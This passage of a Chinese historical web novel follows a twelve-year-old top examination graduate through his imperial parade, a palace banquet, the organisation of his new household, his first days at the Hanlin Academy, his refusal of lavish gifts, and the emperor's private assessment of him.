严党官员的目光中带着审视与热切,像是在打量一件无价之宝。 徐阶一派的清流,则多是惊疑与忧虑,这般圣眷,是福是祸,犹未可知。 而更多的官员,则是纯粹的敬畏与疏离。 他们清楚,从今天起,这个十二岁的少年,已经不再是那个可以随意拿捏的寒门士子。 他是天子门生,是冠文伯,是陛下圣眷正浓的状元郎! 礼部的官员早已等候在殿外,态度恭敬得近乎谦卑。 为首的侍郎亲自为陆明渊换上了一套特制的大红状元袍。 帽簪宫花,那鲜艳的红色衬得他本就白皙的脸庞愈发显得玉雪可爱。 只是那双眼睛,深邃得如同古井,让人不敢因其年幼而有半分小觑。 一匹神骏非凡的御赐白马被牵了过来,通体雪白,无一根杂毛,马鞍之上,皆是云锦铺垫。 “状元公,请上马。吉时已到,当御街夸官,以彰皇恩浩荡。” 礼部侍郎躬身说道。 陆明渊点了点头,在赞礼官的搀扶下,动作利落地翻身上马。 他身形虽小,但骑在马上,腰背挺得笔直,竟没有丝毫被那高头大马压下去的气势。 “起——” 随着太监一声悠长的唱喏,钟鼓楼的钟声再次响起。 这一次,不再是早朝的庄严肃穆,而是传遍京城每一个角落的喜庆与张扬。 禁军牵马,仪仗开路,鼓乐齐鸣! 陆明渊骑着白马,缓缓驶出午门,踏上了那条贯穿整个京城的中轴线——御街。 当他的身影出现在街口的那一刻,百姓们早已等待了数个时辰。 他们将街道两侧堵得水泄不通的京城百姓,瞬间爆发出了山呼海啸般的喝彩声! “状元郎出来了!” “快看!是状元郎!” 然而,当他们看清马上之人的面容时,那震天的欢呼声却突兀地停滞了一瞬。 随即,以更加猛烈、更加难以置信的声浪,冲天而起! “天啊!是个孩子!” “这……这就是今科的状元?看起来比我家那不成器的兔崽子还小!” “我听说了!十二岁的神童!解元,会元!状元!三元及第啊!” “十二岁的状元郎,还是伯爷!我的乖乖,这是文曲星下凡了啊!” 震惊、好奇、羡慕、崇拜。 无数的鲜花、手帕、香囊,如同雨点般从两旁的酒楼、茶肆、民居中抛洒而下。 几乎要将陆明渊和他的白马淹没。 “状元公看这边!” “状元公,我女儿年方二八,尚未婚配啊!” “小状元,前程似锦!” 陆明渊坐在高头大马上,听着耳边鼎沸的人声。 看着眼前那一张张激动、兴奋、羡慕的脸庞,感受着那扑面而来的敬仰与崇拜。 这一刻,他终于深刻地理解了。 为什么“金榜题名时”能与“洞房花烛夜”“他乡遇故知”、“久旱逢甘霖”并列为人生四大喜事。 不,对于读书人而言,这甚至不是并列。 这是凌驾于一切之上的终极梦想。 在金銮殿上,面对天子,面对百官,他可以保持平静。 可在此刻,在这万民的欢呼声中,一种纯粹的、原始的兴奋感,瞬间点燃了他那颗少年之心。 十年寒窗无人问,一举成名天下知。 这句诗,他读过无数遍,却从未有一刻,像现在这般理解得如此透彻。 原来,这就是一步登天。 原来,这就是万人敬仰。 三千两黄金,三万两白银,一座位于京城中枢的府邸,从六品的清贵官职。 甚至是一个足以传家的伯爵之位。 这一切,都源于那一场考试,源于那一份策论。 知识,真的可以改变命运。 权力,真的是世间最迷人的佳酿。 陆明渊的嘴角,终于不受控制地微微翘起,露出了一丝属于他这个年纪的、纯粹的笑意。 他迎着那漫天飞舞的花雨,迎着那无数灼热的目光,缓缓地、郑重地,对着街道两旁的人群,拱手回礼。 这一笑,如春风拂过冰面,让无数看到这一幕的百姓,愈发觉得这位小状元可亲可爱,欢呼声更胜一筹。 御街夸官,整整持续了三个时辰。 从晨曦微露到日暮西沉,陆明渊的仪仗几乎走遍了京城内城的每一条主干道。 当黄昏的余晖将整座京城染成一片温暖的橘红色时,这场盛大的狂欢才缓缓落下帷幕。 礼部官员引着陆明渊,来到了一处朱漆大门前。 这里是朱雀街,京城真正的寸土寸金之地。 住在这里的,非王侯之尊,即朝中一品二品的大员。 而眼前的这座府邸,更是坐落在朱雀街最核心的位置。 门前两座巨大的石狮子,彰显着它曾经主人的不凡地位。 “冠文伯,此处便是陛下御赐的状元府。” 礼部侍郎满脸堆笑地递上一串钥匙和一份地契。 “此宅原是上一代平远侯的府邸,共有六进院落,亭台楼阁,花园水榭,一应俱全。乃是这朱雀街上,数一数二的好宅子。” 陆明渊翻身下马,看着眼前这气派非凡的府邸,心中亦是微起波澜。 这就是自己的家了,在这大乾王朝的京都,有了一个真正属于自己的根基。 刚刚完成交接手续,另一队人马便抬着一个个贴着明黄封条的箱子,来到了府邸门前。 为首的,依旧是礼部的官员。 “状元公,陛下恩典,此乃赏赐您的黄金三千两,云锦千匹。” “另外,陛下顾念伯爷初至京城,人手不足,特从羽林卫中,挑选了二十名百战精锐,充作府上护卫,即刻便到。” “府内陛下已赐下十六名宫女,负责您的起居。” 官员的话,让周围负责交接的吏员们又是一阵倒抽冷气。 连护卫都直接从皇帝的亲军里调拨,这份恩宠,已经不是偏爱,而是溺爱了。 陆明渊心中一凛,他明白,这二十名护卫,既是保护,也是监视。 更是皇帝向所有人宣告——动陆明渊,就是动他嘉靖帝的脸面。 “有劳诸位大人了。” 陆明渊拱手道谢。 那礼部官员连忙回礼,又凑近一步,低声道。 “状元公,还有一事。今夜,陛下在宫中设下恩荣宴,为今科三百进士庆贺。” “届时,陛下与内阁重臣皆会出席,还请状元公收拾一番,切莫误了时辰。” “明渊记下了。” 送走了一众官员,陆明渊推开了那两扇厚重的朱漆大门。 “吱呀——” 一声悠长的声响,一个崭新的世界,在他面前徐徐展开。 夜幕降临,华灯初上。 陆明渊换下了一身繁复的状元红袍,穿上了一件天青色的儒衫,在一名宫女的引领下,再次来到了皇宫。 这一次,没有了白日的喧嚣,宫城在夜色中显得愈发深沉、肃穆。 负责守卫的禁军都统亲自在宫门前等候,见到陆明渊,立刻躬身行礼。 “卑职参见冠文伯。” “将军客气了。” 陆明渊回了一礼。 禁军都统不敢多言,只在前方引路,带着陆明渊穿过一道道宫门,向着深处走去。 恩荣宴设在文华殿后的一处园林之中。 园林极大,依着地势,分成了三个院子。 最外围的一处,灯火通明,人声鼎沸,数百名新科进士汇聚于此,推杯换盏,意气风发。 正是那些第三甲的同进士们。 穿过月亮门,是第二处院子,这里的人数少了许多,气氛也文雅了不少。 皆是二甲进士,他们看到陆明渊走过,神情复杂地站起身,遥遥拱了拱手。 陆明渊点头致意,脚步却未停。 禁军都统领着他,一直走到了最深处,一处极为雅致清幽的小院。 院中只有一棵巨大的百年桂树,树下摆着一张汉白玉圆桌。 与外面的喧嚣不同,这里安静的落针可闻,只有几盏宫灯,散发着柔和的光晕。 而桌边坐着的人,却足以让整个大乾王朝为之震动。 龙椅的主人,嘉靖皇帝,换上了一身舒适的明黄色常服,正悠然品着香茗。 他的左手边,是当朝首辅,权倾朝野的严嵩,老人双目微阖,仿佛睡着了一般。 他的右手边,是内阁次辅,清流领袖徐阶,面色沉静如水,看不出半分情绪。 再往下,户部尚书高拱、兵部尚书张居正……六部尚书,赫然在座。 这些人,就是大乾帝国的权力核心。 陆明渊的身影出现在院门口时,所有的目光,瞬间聚焦于他。 “微臣陆明渊,叩见陛下。” 他再次行礼,声音在寂静的庭院中格外清晰。 “平身,过来坐。” 嘉靖帝笑着招了招手,指了指自己身边的一个位置。 那个位置,紧挨着严嵩与徐阶,却又隐隐然在六部尚书之上。 榜眼王辅臣和探花李承泽,虽然也有幸被召入此地,却只能坐在最末尾的两个角落里,连插话的资格都没有。 陆明渊心中微动,面上却不动声色,依言走上前去。 在那张足以让任何官员眼红到发狂的椅子上,缓缓坐下。 他能感觉到,数道或锐利、或深沉、或玩味的目光,如同实质般落在自己身上。 严嵩那双微阖的老眼,不知何时已经睁开,浑浊的眼球里闪过一丝精光。 徐阶端起茶杯,轻轻吹了吹浮沫,眼角的余光却始终锁定着这个新晋的冠文伯。 高拱性子急,已经有些不耐,张居正则是稳如泰山,不动如山。 所有人都知道,今夜这场晚宴,显然是陛下专门给陆明渊准备的! 目的也不言而喻! 陛下要让朝中所有重臣知道,他是何等欣赏陆明渊! 第189章 正式开始他的官场之旅! 嘉靖帝似乎很享受这种由他一手缔造的、诡异的平衡与张力。 他将杯中的香茗一饮而尽,缓缓开口。 “今科三百进士,皆是我大乾的栋梁之才。” 皇帝的目光缓缓扫过院外那片灯火辉煌。 “朕心甚慰。” 这是一句场面话,走的是流程。 他随即看向末席的王辅臣与李承泽,笑道。 “王爱卿,李爱卿,你们二人,一个是榜眼,一个是探花,皆是人中龙凤。” “今后入朝为官,当恪尽职守,为国分忧,莫要辜负了这一身才学。” 两人连忙离席,躬身长揖,声音激动得有些颤抖:“臣,遵旨!” 嘉靖帝满意地点了点头。 终于,他那双蕴含着无尽威严与深意的眼眸,完完全全地落在了陆明渊的身上。 那目光,不再是金銮殿上的审视,反而多了一丝长辈看待晚辈般的温和,仿佛在欣赏一件越看越喜欢的珍宝。 “明渊。” “微臣在。” 陆明渊起身,微微躬身。 “你的老师,林瀚文,是个好老师。” “朕给他选过很多学生,都是天资不凡的少年郎,他都看不上,一一拒了。” “如今,却主动收你为徒……呵呵,不曾想,他倒是给朕送来了一个天大的惊喜。” 嘉靖的笑声在夜色中回荡,他看着陆明渊,眼神中的欣赏几乎不加掩饰。 “你不错,林瀚文,也不错。好好努力,别丢了你老师的名声,也别……丢了朕的脸面。” 此言一出,庭院中的气氛瞬间又是一变。 严嵩那双始终半阖着的老眼,眼皮微不可查地颤动了一下,随即恢复了古井无波。 徐阶端着茶杯的手,悬在半空,停顿了那么一瞬。 杯中碧绿的茶汤上,一圈圈涟漪从中心荡开,久久未能平息。 他将茶杯放回桌上,整个过程悄无声息,仿佛什么都未曾发生。 性子最急的户部尚书高拱,眉头紧紧蹙起,鼻翼翕动。 似乎有一股火气在胸中郁结,却又不得不死死压住。 唯有兵部尚书张居正,依旧稳坐如山,面色沉静。 只是那双深邃的眸子,在看向陆明渊时,多了一抹难以言喻的复杂。 皇帝的话,再明白不过了。 他将陆明渊与林瀚文捆绑在一起,又将自己与陆明渊捆绑在一起。 林瀚文是皇党,是朝中权势通天的江南道总督! 将陆明渊抬到与自己脸面相关的高度,则是在明确地警告所有人,尤其是严嵩。 这个少年,是我的人。 你们谁都别想轻易招揽,更别想动他。 他希望陆明渊成为独立的“皇党”,成为他插入朝堂这盘棋局中,最锋利、也最不可测的一颗棋子。 严世蕃心中冷笑。 皇党? 这天下,除了司礼监里那些没根的阉人,哪里有什么真正的皇党。 但面上,他却露出了一丝和蔼的微笑,看向陆明渊。 徐阶心中轻叹。 圣眷越浓,便如在刀尖上行走,一步踏错,便是万劫不复。 这孩子,前路难测啊。 但无论是严嵩还是徐阶,他们心中都升起了同一个念头——必须拉拢。 十二岁的状元,冠文伯,天子门生。 这样的妖孽,只要中途不夭折,将来几乎是板上钉钉的内阁大学士,甚至……是首辅之尊! 今日结下一份善缘,便是为未来落下一颗最重要的闲棋。 一场心怀鬼胎的恩荣宴,在一种你好我好大家好的和谐氛围中,缓缓走向了尾声。 嘉靖帝似乎尽了兴,摆驾回宫。 陆明渊也告辞离去,在禁军都统的护送下,回到了朱雀街那座崭新的府邸。 府门大开,灯火通明。 十六名宫女与二十名羽林卫早已在门前列队等候,见到陆明渊回来,齐刷刷地跪倒一片。 “恭迎伯爷回府!” 声音整齐划一,在这寂静的街巷中传出很远。 陆明渊没有说话,只是静静地走过他们,推开了府门。 若雪紧随其后,眼神清冷地扫过众人。 进入内院,褪去一身儒衫,陆明渊坐在空旷的有些过分的主屋里,对身旁的若雪轻声吩咐道。 “那十六个宫女,你去挑四个看着聪慧伶俐的,留在后院,做贴身侍女。剩下的,都安排在前院做事。” 若雪微微躬身:“是。” “至于那二十名护卫,” 陆明渊的目光投向窗外深沉的夜色,声音平静。 “先都安置在前院,让他们熟悉府内环境。后院的护卫,不急,回头再选。” 若雪冰雪聪明,立刻明白了陆明渊的意思。 宫女是皇帝所赐,不能不用,但贴身伺候的,必须经过筛选。 而羽林卫,名为保护,实为监视。 在没有建立起绝对的信任与控制之前,绝不能让他们踏入自己的核心区域——后院。 她没有多问,领命而去。 很快,便带着四个眉眼间透着机灵、却又带着几分不安的年轻宫女来到了后院。 这一夜,状元府的主院书房,灯火亮到了天明。 陆明渊坐在那张足以让三四个人同时挥毫泼墨的巨大书桌前,摊开一张上好的宣纸,一笔一划,给远在江苏的恩师林瀚文写着信。 他将自己高中状元、御街夸官的盛况,以及嘉靖帝的种种赏赐,一一告知。 字里行间,满是少年人得偿所愿的喜悦,与对恩师的感激。 信的末尾,他郑重写道:学生在京中安顿妥当后,不日即将亲返江南,亲向恩师叩首报喜,以谢师恩。 写完信,吹干墨迹,小心地折好放入信封。 窗外,天色已现鱼肚白。 第二天一大早,天光方亮。 陆明渊便让若雪将府上所有的下人全部召集到了前院! 十六名宫女,二十名羽林卫,以及林瀚文派来的五名护卫,总计四十一人,全部到了前院的演武场上。 晨风微凉,四十一人站成几排,神情各异。 宫女们低眉顺眼,透着不安与拘谨。 那二十名羽林卫则个个站得笔直,身形如松,眼神中带着军人的悍勇与审视。 他们都是百战精锐,骨子里是傲的,如今却要来给一个十二岁的少年当护院,心中多少有些不以为然。 陆明渊穿着一身简单的青色长衫,缓步走到众人面前。 他没有长篇大论,目光平静地扫过每一个人,开口,声音清朗,却带着不容置疑的威严。 “从今天起,你们就是我陆府的人。我这府上,没什么繁文缛节的规矩。” 他顿了顿,伸出两根手指。 “我对你们,只有两个要求。第一,忠诚。第二,听话。” “其他的,我一概不管。你们以前是什么身份,有什么过往,我不在乎。” “只要进了我陆府的门,忠诚听话,我便保你们一世富贵安稳。” 他的话简单直接,却让在场的所有人都心头一震。 “有家眷在京城的,安顿好后,可以接到前院的偏房居住,府里管吃穿用度。” “所有人的月钱,在宫里和羽林卫原有的份例上,翻一倍,由府上支出。” “年底,府里会额外发一笔奖金,数额是你们三个月的俸禄。” 一连串的话砸下来,人群中开始出现轻微的骚动。 月钱翻倍? 还有三倍月钱的年终奖? 这……这是何等的手笔! 然而,更让他们震惊的还在后面。 “此外,府上的护卫和侍女,分为五个等级。如今,你们所有人,都是一级。” “日后,但凡为府上立下功劳,便可提升级别。” “每提升一级,每个月的俸禄,在原有的基础上,额外再加十两银子!” 十两银子! 这个数字,像一块巨石投入湖中,激起了千层巨浪! 在场的羽林卫,一个月的军饷也不过五两银子,宫女更少。 十两银子,对他们而言,是一笔足以让家人过上好日子的巨款! 而这,仅仅是提升一级所增加的月钱! 若是到了五级,每个月便能领五十两银子的俸禄! 所有人的呼吸都变得粗重起来! 眼神中的审视与不以为然,瞬间被灼热的渴望所取代。 陆明渊将众人的反应尽收眼底,嘴角勾起一抹微不可察的弧度。 他对着若雪点了点头。 若雪会意,拍了拍手。立刻有两名新选的侍女抬着一个沉重的木箱走了上来。 箱子打开,里面是码放得整整齐齐的银锭,在晨光下闪烁着眩目的光芒。 “今日大家初入陆府,没有功劳,便先赏苦劳。” 陆明渊的声音再次响起,“府上共三十六人,每人赏银二十两,现在就发!” 他话音一落,若雪便让那五名林府护卫上前,开始唱名发钱。 三十六人,便是七百二十两白银! 当那沉甸甸的、刻着“贰拾两”字样的银锭被发到手中时,所有人都懵了。 他们一个月的俸禄,不过五两银子。 这二十两,相当于他们小半年不吃不喝的全部收入! 而这位小伯爷,眼睛都不眨一下,就这么赏了下来! “扑通!” 不知是谁第一个跪下,紧接着,演武场上跪倒了一片。 “谢伯爷赏!” “我等誓死效忠伯爷!” 山呼海啸般的感激声,发自肺腑。 之前的些许轻视与怀疑,在这一刻被那沉甸甸的银子砸得粉碎,只剩下最纯粹的敬畏与狂热。 陆明渊坦然地受了这一拜,他知道,从这一刻起,这座府邸,才算真正姓了陆。 发完了众人的赏银,陆明渊又命护卫抬出二百两银子,赏赐给五名从江苏府带来的护卫! “你们五人从江苏护我至京都,又随我共度裴少文之案,当赏!” “每人四十两赏银,各自领了去!” 话音落下,不远处的五名护卫脸上纷纷闪过一抹难以掩饰的欣喜! 四十两银子,其他人的两倍,这是陆明渊赤裸裸的偏宠,也是发给所有人看的! 跟着他,立了功,少不了赏赐! 第190章 甲辰科状元郎,冠文伯,陆明渊 翌日,卯时。 天际还挂着几颗疏懒的残星,陆明渊便赶往了翰林院! 他换上了一身崭新的青色官袍,独自步行,向着皇城东南角的翰林院走去。 从朱雀街到翰林院,不过一刻钟的路程。 清晨的京都,空气中弥漫着一股混合着泥土、炊烟与草木清香的复杂味道,充满了人间烟火的鲜活气息。 街道两旁的店铺还未开张,只有零星的早点摊子冒着腾腾热气。 几个更夫打着哈欠,拖着疲惫的步子走过。 陆明渊的脚步不快,感受着京都不一样的清晨。 他那张过分年轻的脸庞,与这一身象征着文坛清贵之极的官服,形成了一种奇异而又引人注目的和谐。 路过的行人,无不投来好奇、探究,乃至惊艳的目光。 十二岁的翰林修撰,大乾开国以来,闻所未闻。 翰林院,坐落在皇城的一角,青瓦红墙,古木参天。 这里没有六部衙门的喧嚣与威严,却自有一股沉淀了百年的书卷气与墨香。 当陆明渊的身影出现在翰林院门口时,那两个守门的老吏员揉了揉眼睛,几乎以为自己是晨起眼花。 “这位……大人,您是?” 其中一个老吏员迟疑着上前,小心翼翼地躬身问道。 陆明渊从袖中取出吏部签发的告身文书,微笑道。 “新任翰林院修撰,陆明渊,今日前来应卯。” “陆……陆明渊!” 老吏员倒吸一口凉气,手一抖,差点没拿稳那份文书。 甲辰科状元郎,冠文伯,陆明渊! 这个名字,如今在整个京都,可谓是无人不知,无人不晓! 消息像长了翅膀一样,瞬间传遍了整个翰林院。 一时间,无数道目光从各个院落、各个书阁的窗棂后投射出来,汇聚在这个年仅十二岁的少年身上。 有好奇,有审视,有嫉妒,也有着淡淡的、属于文人间的轻慢。 翰林院是什么地方? 是储相之地,是天下读书人最顶尖的殿堂。 能进入这里的,哪一个不是天之骄子,哪一个不是饱读诗书之辈? 一个十二岁的孩子,即便他是状元,即便他有圣眷,又能有多少真才实学? 陆明渊对这一切视若无睹,神色平静地随着吏员穿过庭院,来到了一处古朴的院落前。 这里是掌院学士的公房。 翰林院掌院学士,李默,是一位年过花甲的老臣,须发皆白,面容清癯。 他穿着一身洗得有些发白的旧官袍,正坐在书案后,手捧一卷古籍,看得入神。 他甚至没有抬头,只是淡淡地道:“来了?” “学生陆明渊,拜见学士大人。” 陆明渊躬身行礼,不卑不亢。 李默这才缓缓放下书卷,仔仔细细地打量着陆明渊。 良久,他才点了点头,声音平缓无波。 “不错,是个读书的种子。比画像上看着,要沉稳些。” 他指了指旁边的椅子:“坐吧。” “谢学士大人。” 李默端起茶杯,吹了吹浮沫,慢条斯理地说道。 “圣上的意思,老夫明白了。你年纪还小,不宜过早涉入部务纷争。” “在外放为一方知府之前,你的差事,便是在翰林院里读书。” 他伸手指了指窗外,远处一座巍峨的阁楼在晨光中若隐隐现。 “那里是文渊阁,我大乾的藏书之所,万卷经史,皆在其中。从今日起,你便负责牵头编撰《大乾通史》。” “翰林院内所有藏书,你皆可随意翻阅,无人敢拦你。” “至于这项差事什么时候能做完……” 李默的嘴角勾起一抹意味深长的笑意。 “那就看圣上什么时候觉得,你这柄剑,磨得够利,可以出鞘了。” 陆明渊心中雪亮,立刻起身,再度躬身:“学生,明白了。” 这番话,看似是安排工作,实则是点拨。 编撰通史,是一项浩如烟海的工程,十年二十年也未必能完成。 这显然是一个虚职,一个让他安心读书、观察朝局、积攒资历的台阶。 这是任何一科状元都必然要走的流程。 在翰林院中沉淀数年,而后外放,积累政绩,最终重返中枢,进入内阁。 皇帝,已经为他铺好了前十年最稳妥的道路。 陆明渊心中并无半分焦急,反而觉得这正是他所需要的。 他如今根基尚浅,过早卷入那旋涡之中,并非好事。 他拱手道:“谢学士大人指点,学生这就去文渊阁开始整理史料。” “嗯?” 李默正要端杯喝茶,听到这话,动作猛地一顿,有些错愕地抬起头。 他看着陆明渊那张认真无比的脸,几乎以为自己听错了。 “现在就去?” “是。” 陆明渊点头,神情坦然。 “学生在京中也无甚他事,早一日开始,便能早一日为朝廷分忧。” 李默彻底傻眼了。 他执掌翰林院十数年,见过无数状元郎。 哪一个新科状元不是春风得意,游遍京中名胜,遍访名公巨卿,享受着人生最得意风光的时刻? 按照规矩,新科进士有十天的假期,可以用来熟悉环境,安顿家小。 这小子倒好,连一天假都不休,第一天报道就要直接上岗? 李默看着陆明渊清澈而坚定的眼神,心中忽然涌起一股莫名的情绪。 是欣赏?是感慨? 或许二者皆有。 他摆了摆手,语气中多了一丝无奈,也多了一丝不易察觉的赞许。 “也罢,随你。年轻人,有这股劲头是好事。去吧,让吏员带你去文渊阁领钥匙。” “学生告退。” 陆明渊再次行礼,转身离去。 …… 第一天的翰林院生涯,远比陆明渊想象的要清闲。 或者说,是一种极致的自由。 文渊阁内,书架如林,卷帙浩繁。 空气中永远飘荡着一股好闻的、由旧纸、陈墨与樟木混合而成的香气。 阳光透过高大的窗格,在地面上投下斑驳的光影。 无数细小的尘埃在光柱中飞舞,仿佛是沉睡了千百年的时光精灵。 陆明渊沉浸在这片知识的海洋里,物我两忘。 直到腹中传来饥饿的咕咕声,他才惊觉,时间已经到了申时七刻。 抬头望去,窗外的天光依旧明亮,夕阳的余晖甚至还未染上西边的云霞。 还不到下午五点,就下班了? 陆明渊走出翰林院时,心中不由得感慨万千。 这便是古代公务员的幸福么? 朝九晚五,甚至还不到五点,没有KPI,没有加班。 怪不得天下读书人削尖了脑袋,也要挤上科举这座独木桥。 他没有急着回府,而是在街上缓步而行,感受着京都傍晚的繁华。 回到状元府时,若雪早已在门口等候。 “少爷。” 少女的声音清冷如雪,但眼神中却带着一丝暖意。 她递上一本账册。 “按照您的吩咐,府内需要采买的各类物品,奴婢已经统计出来了,请您过目。” 陆明渊接过扫了一眼,上面米面粮油、布匹炭火、锅碗瓢盆,罗列得清清楚楚,一目了然。 “你做事,我放心。” 他将账册递回。 “这些必需品,你看着去采买便是。府里的账,以后也由你来管。” “是。” 若雪心中一暖,躬身应下。 陆明渊又从袖中取出一本薄薄的古籍,这是他今天特意从文渊阁带回来的。 他是翰林院的编撰,每日可以带一本书回家阅读,只要次日归还即可。 他回到那间空旷得有些过分的主屋书房,先是静心读了一个时辰的书,而后摊开纸墨,开始练字。 他的心需要静下来。 白日里,他是翰林修撰,是冠文伯,是无数人眼中的焦点。 而在这夜深人静的书房里,他只是陆明渊。 一笔一划,铁画银钩。 他的字迹,如同他的人,锋芒内敛,风骨自成。 直到窗外的天色彻底被暮色笼罩,才有侍女在门外轻声禀报,晚膳已经备好。 陆明渊放下笔,走出书房。 饭厅里,灯火通明。 简单的四菜一汤,摆在桌上,冒着腾腾的热气。 若雪已经为他盛好了饭。 陆明渊看了一圈,开口问道:“林武呢?” “回伯爷,林护卫正在前院安排夜间的巡逻事宜。” 一名侍女连忙回答。 “去,把他叫来,一起吃饭。” 侍女愣了一下,显然没反应过来。 陆明渊又看向若雪:“若雪,你去叫。” “是。” 若雪没有丝毫犹豫,转身便去了前院。 片刻后,林武跟着若雪走了进来,神情间带着几分局促与不安。 “少爷,您找我?” “坐。” 陆明渊指了指自己对面的位置。 林武整个人都僵住了,连忙摆手。 “少爷,这……这不合规矩!小的怎敢与您同桌用膳!” “在我这府里,我说的就是规矩。” 陆明渊的语气平淡,却带着不容置疑的分量,“坐下。” 第191章 这是何等的圣眷! 这顿看似简单的晚饭,其掀起的波澜,却远比想象中要深远。 消息如同长了翅膀的鸟儿,在第二日清晨便飞遍了状元府的每一个角落。 那些被分派在各处的下人、仆役、丫鬟们,聚在一起窃窃私语时,眼神里都多了一种名为“希望”的东西。 原来,在这位年轻得过分的小伯爷眼中,下人也是人。 原来,只要你做得好,就能得到那份足以让任何人眼红的体面。 一时间,整个府邸的风气为之一清,所有人都铆足了劲,想要在主家面前表现出自己最好的一面。 陆明渊敏锐地察觉到了这种变化,但他只是微微一笑,并未多言。 他知道,一颗种子已经埋下,现在要做的,便是静待其生根发芽。 而紧随这种内部变化而来的,是来自外部世界的滚滚浪潮。 自他翰林院应卯的第三天起,状元府门前的车马,便开始络绎不绝。 整个京都的官场,仿佛都从这位十二岁状元郎的横空出世中,嗅到了一丝不同寻常的气息。 最先登门的是礼部右侍郎府上的管家。 这位管家年约五旬,满脸堆着恰到好处的笑容,递上了一张烫金的名帖,以及一份厚厚的礼单。 礼单上的物件,从前朝的名家字画,到上等的湖笔徽墨,再到一对温润剔透的和田玉佩,无一不是精品,价值不菲。 “我家侍郎大人说了,陆伯爷乃是文曲星下凡,国之栋梁。些许薄礼,不成敬意,只为贺伯爷大魁天下之喜。” 陆明渊身着一身素净的常服,亲自将管家迎入偏厅,奉上清茶。 他仔仔细细看完了礼单,又将名帖郑重收好,随后微笑着将礼单推了回去。 “有劳侍郎大人挂怀,明渊感激不尽。然学生初入官场,寸功未立,实不敢受此厚礼。” 他顿了顿,从礼单上指了一方砚台,“若是大人不弃,这方‘松烟’砚台,学生便厚颜收下了。” “学生平日习字,正缺一方好砚,也算不辜负了侍郎大人的拳拳爱才之心。” 那管家愣住了。 他迎来送往多年,见过假意推辞的,也见过半推半就的。 却从未见过像陆明渊这般,只挑其中最不值钱、却又最显风雅的一件收下的。 这番操作,既给了礼部侍郎面子,表明心意领了,又守住了自己的清名。 同时还点明了自己“读书人”的本分。 滴水不漏,毫无破绽。 管家心中暗凛,对眼前这个少年的评价,瞬间又高了三分,只得连连称是,带着其余礼物告辞离去。 有了礼部侍郎的开端,接下来半个月,工部、刑部、兵部……六部九卿纷纷接踵而至! 除了几位身居高位轻易不露面的巨头,其余但凡在京中有些头脸的官员,几乎都派人前来送礼道贺。 而陆明渊的应对,如出一辙。 金银玉器,一概不收。 古玩字画,分文不取。 他只收那些笔墨纸砚,或是几本孤本古籍。 收下的礼物,价值绝不超过十两银子,却又件件都透着一股文人风骨。 这份名单,连同他收下的礼物,每日都会由若雪详细记录在册。 一时间,“冠文伯清廉如水,雅致如竹”的名声,在京都官场悄然传开。 官场之后,便是世家。 与官员们或试探、或拉拢的目的不同,京都各大世家的来意要直接得多——联姻。 十二岁的伯爵,圣眷正浓的状元郎,未来几乎是板上钉钉的内阁重臣。 这样的金龟婿,打着灯笼都难找。 各府的夫人们、小姐们,借着各种由头前来拜访。 她们带来的不再是俗气的金银,而是亲手缝制的香囊、精心烹制的糕点。 言谈举止间,总会有意无意地提起自家那位“年方二八,娴静淑良,颇通文墨”的女儿或侄女。 对此,陆明渊的态度更加明确。 他一概以“年岁尚幼,圣上令我在翰林院潜心读书,不敢分心他顾”为由,婉拒了所有好意。 这理由无懈可击! 谁敢说读书上进是错的? 谁又敢质疑皇帝的安排? 那些世家夫人们,也只能悻悻然而归,心中却对这个不为女色所动的少年,愈发高看一眼。 最后登门的,是那些嗅觉最灵敏的商人们。 他们不像官员那般需要遮掩,也不像世家那般讲究体面。 他们带来的,是成箱的黄金白银,是京郊良田的地契,是繁华街市的铺面。 他们的目的只有一个,烧冷灶,结善缘。 对于这些商人,陆明渊的态度最为决绝。 他甚至不见人,只让林武出面,将礼物原封不动地退回,并传一句话。 “心意领了,不交权贵,不通商贾,这是本官的规矩。” 一句话,斩断了所有商人的念想。 半个月下来,状元府门庭若市。 陆明渊却几乎没收下任何值钱的东西,反而将自己的名声,擦拭得愈发明亮。 …… 紫禁城,西苑。 这里不同于前朝金銮殿的威严肃穆,亭台楼阁,水榭假山,处处透着一股出尘的仙气。 当今天子嘉靖,痴迷道教,常年在此处清修。 一间陈设简洁的静室内,青烟袅袅,龙涎香的气味弥漫在空气中。 身穿一身宽大道袍的嘉靖皇帝,正盘膝坐在一个蒲团上,闭目养神。 他的面容清瘦,长须垂胸,看上去不像帝王,反倒像个得道高人。 大太监吕芳,如同影子一般,悄无声息地跪坐在他的身侧,手中捧着一卷刚刚送到的密报。 静室里,只有香炉中偶尔发出的轻微哔剥声。 许久,嘉靖才缓缓睁开眼睛,那双看似浑浊的眸子里,却闪过一丝洞察世事的精光。 “说吧,那个小家伙,最近又在折腾什么?” 他的声音很轻,带着一丝久不开口的沙哑。 吕芳连忙将密报奉上,同时低声回禀。 “回皇爷,这是锦衣卫呈上来的,关于冠文伯这半个月来的动向。” 嘉靖没有接,只是淡淡道:“念。” “是。” 吕芳清了清嗓子,将密报上的内容一字不漏地念了出来。 从礼部侍郎送的玉佩,到张家小姐送的香囊,再到万宝斋老板送的黄金,事无巨细,一一在列。 念完之后,吕芳又补充道。 “如今京中都在传,说陆伯爷少年老成,不贪财,不好色,有上古君子之风。” 静室内再次陷入沉默。 嘉...靖的脸上看不出喜怒,手指在膝盖上轻轻敲击着,发出极有韵律的“笃笃”声。 “吕芳,你怎么看?” 他忽然开口问道。 吕芳心中一凛,他沉吟片刻,小心翼翼地说道。 “奴婢以为,陆伯爷此举,大有深意。他拒重礼而收轻礼,是为‘不贪’;拒美意而专心学问,是为‘不淫’。” “面对各方势力,应对得体,不亲近,也不得罪,这份城府,这份世故,远超其年岁。少年天骄,名不虚传。” 他这番话,几乎是把陆明渊夸上了天。 谁知,嘉靖听完,却发出一声意味不明的轻笑。 “城府?世故?” 他摇了摇头,嘴角勾起一抹嘲讽的弧度。 “不过是年轻人喜好名声,故作清高罢了。” “他如今根基未稳,如无根之萍,自然要爱惜羽毛,给自己博一个好名声。这名声,就是他的护身符。” “真等他到了高拱、张居正那个年纪,入了阁,掌了权,自然就会明白什么叫‘和光同尘’,什么叫‘身不由己’。” 嘉靖的语气中,充满了过来人的洞悉与不屑,仿佛已经看透了陆明渊数十年后的模样。 吕芳闻言,额头渗出细密的汗珠,不敢再接话。 他知道,天子之言,不可揣测。 然而,就在吕芳以为皇爷对陆明渊的评价仅止于此的时候,嘉靖的话锋却猛地一转。 他骂了两句,声音却又缓和下来,甚至带上了一丝罕见的赞许。 “不过……十二岁的年纪,就能想到用‘名声’这把剑来保护自己,而不是被眼前的富贵荣华迷了眼,倒也算是个可造之材。” 